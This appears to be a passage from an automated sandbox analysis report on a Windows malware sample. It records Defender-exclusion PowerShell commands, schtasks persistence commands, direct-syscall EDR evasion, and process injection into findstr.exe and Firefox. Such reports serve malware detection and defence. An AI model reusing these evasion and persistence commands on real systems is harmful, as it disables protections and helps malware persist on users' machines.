Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164AD00 mov eax, dword ptr fs:[00000030h] 10_2_0164AD00
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0164AD00 mov eax, dword ptr fs:[00000030h] 10_2_0164AD00
Enables debug privileges
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\8SxJ9aYfJ1.exe"
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe"
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe" Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtResumeThread: Direct from: 0x773836AC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtMapViewOfSection: Direct from: 0x77382D1C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtWriteVirtualMemory: Direct from: 0x77382E3C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtProtectVirtualMemory: Direct from: 0x77382F9C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtSetInformationThread: Direct from: 0x773763F9
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtCreateMutant: Direct from: 0x773835CC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtNotifyChangeKey: Direct from: 0x77383C2C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtSetInformationProcess: Direct from: 0x77382C5C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtCreateUserProcess: Direct from: 0x7738371C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtQueryInformationProcess: Direct from: 0x77382C26
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtResumeThread: Direct from: 0x77382FBC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtWriteVirtualMemory: Direct from: 0x7738490C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtAllocateVirtualMemory: Direct from: 0x77383C9C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtReadFile: Direct from: 0x77382ADC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtAllocateVirtualMemory: Direct from: 0x77382BFC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtDelayExecution: Direct from: 0x77382DDC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtQuerySystemInformation: Direct from: 0x77382DFC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtOpenSection: Direct from: 0x77382E0C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtQueryVolumeInformationFile: Direct from: 0x77382F2C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtQuerySystemInformation: Direct from: 0x773848CC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtReadVirtualMemory: Direct from: 0x77382E8C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtCreateKey: Direct from: 0x77382C6C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtAllocateVirtualMemory: Direct from: 0x773848EC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtQueryAttributesFile: Direct from: 0x77382E6C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtSetInformationThread: Direct from: 0x77382B4C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtQueryInformationToken: Direct from: 0x77382CAC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtOpenKeyEx: Direct from: 0x77382B9C
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtAllocateVirtualMemory: Direct from: 0x77382BEC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtDeviceIoControlFile: Direct from: 0x77382AEC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtCreateFile: Direct from: 0x77382FEC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtOpenFile: Direct from: 0x77382DCC
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe NtTerminateThread: Direct from: 0x77377B2E
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Memory written: C:\Users\user\Desktop\8SxJ9aYfJ1.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Memory written: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: NULL target: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Section loaded: NULL target: C:\Windows\SysWOW64\findstr.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: NULL target: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: NULL target: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: NULL target: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: NULL target: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe protection: execute and read and write
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: NULL target: C:\Windows\SysWOW64\findstr.exe protection: execute and read and write
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\findstr.exe Thread register set: target process: 7012 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\findstr.exe Thread APC queued: target process: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpE0B6.tmp" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Users\user\Desktop\8SxJ9aYfJ1.exe "C:\Users\user\Desktop\8SxJ9aYfJ1.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpF632.tmp" Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Process created: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe "C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe" Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe" Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Process created: C:\Windows\SysWOW64\findstr.exe "C:\Windows\SysWOW64\findstr.exe"
Source: sbJGUdSMCgtLQJ.exe, 00000011.00000000.2315637132.0000000001750000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4528531504.0000000001751000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000000.2432988904.0000000001801000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: IProgram Manager
Source: sbJGUdSMCgtLQJ.exe, 00000011.00000000.2315637132.0000000001750000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4528531504.0000000001751000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000000.2432988904.0000000001801000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: sbJGUdSMCgtLQJ.exe, 00000011.00000000.2315637132.0000000001750000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4528531504.0000000001751000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000000.2432988904.0000000001801000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: sbJGUdSMCgtLQJ.exe, 00000011.00000000.2315637132.0000000001750000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4528531504.0000000001751000.00000002.00000001.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000000.2432988904.0000000001801000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Queries volume information: C:\Users\user\Desktop\8SxJ9aYfJ1.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
